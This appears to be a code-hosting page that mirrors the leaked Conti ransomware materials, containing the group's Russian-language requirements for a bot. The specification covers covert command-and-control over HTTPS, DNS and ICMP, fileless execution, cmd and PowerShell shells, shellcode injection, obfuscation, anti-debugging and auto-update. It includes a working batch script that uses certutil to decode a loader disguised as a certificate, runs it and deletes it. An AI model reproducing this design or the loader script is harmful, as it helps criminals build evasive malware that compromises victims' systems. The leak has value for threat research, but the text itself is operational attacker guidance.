Conti Ransomware malware leak WITH LOCKER
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 

64 lines
3.1 KiB

ТРЕБОВАНИЯ К БОТУ
1. Канал связи и протокол
- использование открытых по умолчанию в корп.сетях протоколов: HTTPS, DNS, ICMP
- резервирование каналов связи
- верификация сервера (проверка по цифровой подписи или еще как-нибудь удостовериться, что это не перехват управления)
- поиск командного сервера в условиях отказа всех известных адресов (желательно)
- дополнительное шифрование трафика, в качестве защиты от машинного анализа
- простой для парсинга протокол. В смысле, не json/xml/итд - зачем нам сложные парсеры, если можно без них
- расширяемый протокол. Легкость добавления команд
2. Состояние (stateless-бот)
- нельзя хранить на диске такие вещи как конфиги, ID, ни в файлах, ни в реестре, нигде
То есть бот должен быть "реентерабельным" - способным начать с нуля, сгенерировать свой ид повторяемым образом,
осмотреться в системе и продолжить работу, независимо от предыдущего состояния себя и админки.
- отсюда требование и к протоколу - минимизируем блокирующие запросы, предусматриваем способ сброса таких запросов.
Например: если мы дали команду боту, и в этот момент машина перезагрузилась, то админка будет вечно ждать ответа.
И наоборот, если бот чего-то ожидает от сервера, и связь порвалась, должен быть способ выйти из такого клинча.
3. Закрепление
- желательно дублирование способов закрепления
- желательно использование стеганографии для закрепления.
Например, закрепляем не сам бот, а вот такой скрипт:
@echo off
REM достаем загрузчик из "сертификата"
certutil -decode file.crt file.exe
REM запускаем загрузчик
file.exe
REM ждем пока прогрузится и отработает файл
ping -n 300 127.0.0.1 > NUL
REM удаляем загрузчик, т.к. тот уже успел отработать и запустить нагрузку
del /f /y file.exe
То есть пользуемся штатными утилитами ОС для распаковки и запуска нагрузки, помещая на виду безобидные скрипты.
Также можно использовать хранение в картинке, звуковом файле итд - лишь бы нашелся способ развернуть нагрузку, используя лишь штатные средства.
- желательно разделение бота на загрузчик и нагрузку
4. Защитные меры
Обязательна защита как минимум от машинного анализа.
- обфускация строк и системных вызовов, современными автоматизированными методами
- при необходимости шифрования чего-либо, используем простые средства - XOR гаммирование либо XOR 1 байт.
- проверки на песочницу не нужны, потому что трудно придумать хорошую логику для этого
- можно сделать антиотладку
- использование снятия хуков, защиты от инъекций, включения митигаций, для затруднения отладки и анализа процесса
- если получится, защита от снятия процесса (наподобие как делают АВ)
- можно использовать LLVM-обфускатор для сборки
5. Функционал
- только безфайловые техники, для всего. Ничего не записываем на диск
- наличие cmd-шелла (обязательно)
- наличие powershell-шелла (желательно)
- выполнение произвольного shell-кода https://github.com/DimopoulosElias/SimpleShellcodeInjector/blob/master/SimpleShellcodeInjector.c
- выполнение .exe-файла (желательно)
- запуск .dll (rundll, regsvr) желательно
6. Разделение ботнетов
- бот должен содержать в себе идентификатор ботнета, на случай работы множественных ботнетов через одну админку
7. Автообновление
- бот должен предусматривать автообновление